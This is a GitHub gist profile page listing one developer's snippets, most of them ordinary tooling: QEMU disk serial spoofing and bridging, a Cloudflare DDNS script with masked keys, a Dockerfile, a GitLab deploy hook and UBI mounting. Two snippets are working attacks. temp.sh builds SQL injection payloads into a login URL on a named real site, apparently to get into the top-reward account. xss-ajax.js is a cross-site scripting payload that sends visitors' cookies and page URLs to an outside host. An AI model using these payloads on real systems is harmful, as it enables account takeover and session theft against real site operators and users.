Skip to content

Instantly share code, notes, and snippets.

💭
I'm programer and I have wife 😄

Mochamad Arifin ndunks

💭
I'm programer and I have wife 😄
View GitHub Profile
View temp.sh
``` bash
TOKEN="\' or true -- -"
USER="\' or true ORDER BY point_reward DESC limit 1 -- -"
DATA=$( printf "$TOKEN||$USER" | base64 -w 0 | sed s/=/%3D/ | sed s/\\//%2F/ )
echo "https://dewafortune.net/auth/login_campaign.php?data=$DATA"
```
@ndunks
ndunks / qemulate.sh
Created Apr 30, 2020
Qemu Change Hardisk Serial Number and Model
View qemulate.sh
sudo qemu-system-i386 \
-m 512 \
-smp 1 \
-enable-kvm \
-drive if=none,id=disk00,format=qcow2,file=tmp/disk1.qcow2 \
-device "ide-hd,drive=disk00,bus=ide.0,serial=00000000000000000001,model=VMware Virtual IDE Hard Drive" \
-nic tap
@ndunks
ndunks / qemu-linux-host-to-guest-bridge.md
Created Mar 30, 2020
Qemu Linux setup host to guest network connection using bridge
View qemu-linux-host-to-guest-bridge.md
sudo su
brctl addbr br0
ip addr add 192.168.3.100/24 dev br0
ip link set br0 up
[ -d /etc/qemu ] || mkdir /etc/qemu
touch /etc/qemu/bridge.conf
echo "allow br0" >> /etc/qemu/bridge.conf
@ndunks
ndunks / email-getnada.spec.ts
Created Jun 27, 2019
Getnada email client API for browser with typescript implementation
View email-getnada.spec.ts
// Jasmine Standalone testing suite
import { GetnadaClient, ListResponse } from "./email-getnada";
(jasmine.getEnv() as any) .configure({random: false, oneFailurePerSpec: true, failFast: true});
let listResponse: ListResponse;
describe('Plugins testing getnada api client', () => {
const email = 'learner@getnada.com';
const api = new GetnadaClient(email);
@ndunks
ndunks / webpack.external.js
Created Jun 21, 2019
Get list of excluded module in webpak config
View webpack.external.js
module.exports = function(){
var fs = require("fs");
var nodeExternal = {};
var pkg = JSON.parse(fs.readFileSync('package.json', { encoding: 'utf-8' }));
Object.keys(pkg.dependencies).forEach(function (name) {
nodeExternal[name] = "require('" + name + "')";
});
Object.keys(pkg.devDependencies).filter(function (v) { return !v.match(/@types/); }).forEach(function (name) {
nodeExternal[name] = "require('" + name + "')";
});
@ndunks
ndunks / xss-ajax.js
Created Jan 29, 2019
XSS AJAX 3 Way
View xss-ajax.js
(function(w,d,u){
if(w['$'] && w['$'].post){
$.post(u,{u: d.location.href, c: d.cookie});
}else{
var fu = [u,'\x3f','u=',escape(d.location.href),'&c=',escape(d.cookie)].join('');
console.log('FU: ', fu);
function planB(){
el = d.createElement('img');
el.onerror = el.onload = function(){ el.remove() }
el.src=fu; d.body.append(el);
@ndunks
ndunks / cloudflare-ddns-update.sh
Created Dec 17, 2018
Cloudflare Update DNS IP with bash
View cloudflare-ddns-update.sh
#!/bin/bash
ip=$(curl -s https://api.ipify.org/)
echo "DDNS-UPDATE: Public IP is: $ip, Updating IP..."
host=home.klampok.id
curl -X PUT "https://api.cloudflare.com/client/v4/zones/00000000000000000000/dns_records/00000000000000000000000" \
-H "X-Auth-Email: *******@gmail.com" \
-H "X-Auth-Key: *******" \
-H "Content-Type: application/json" \
--data '{"type":"A","name":"home.klampok.id","content":"'"$ip"'","ttl":120,"proxied":false}' )
@ndunks
ndunks / Dockerfile
Created Oct 18, 2018
Docker Image php 7.0 FPM with gmp mysql gd iconv
View Dockerfile
FROM php:7.0-fpm-stretch
RUN apt-get update && apt-get install -q -y ssmtp mailutils
RUN apt-get update && apt-get install -y \
libfreetype6-dev \
libjpeg62-turbo-dev \
libpng-dev \
libgmp-dev \
&& docker-php-ext-install -j$(nproc) iconv \
@ndunks
ndunks / gitlab.php
Created Oct 16, 2018
Gitlab Hook auto deploy live web server
View gitlab.php
<?php
// CONFIG
// This token must sent with the request, for security
$TOKEN='XXXXXXXXXXX';
$LOCAL_GIT=realpath(dirname(__DIR__) . '/app.git');
$PRODUCTION_DIR=realpath(dirname(__DIR__) . '/public_html');
$REMOTE = 'origin';
$LOCAL_BRANCH = 'master';
@ndunks
ndunks / mount-ubi-using-mtdram.sh
Created Jul 19, 2018
How to mount UBI image using mtdram kernel module on linux/debian
View mount-ubi-using-mtdram.sh
#!/bin/bash
if [ ! -d files ]; then
# Make the content
echo "Generating root content.."
mkdir files
echo "$(date)" > files/date.txt
echo "Another content" > files/other.txt
fi
#These config are based by Nand device that you will use!
You can’t perform that action at this time.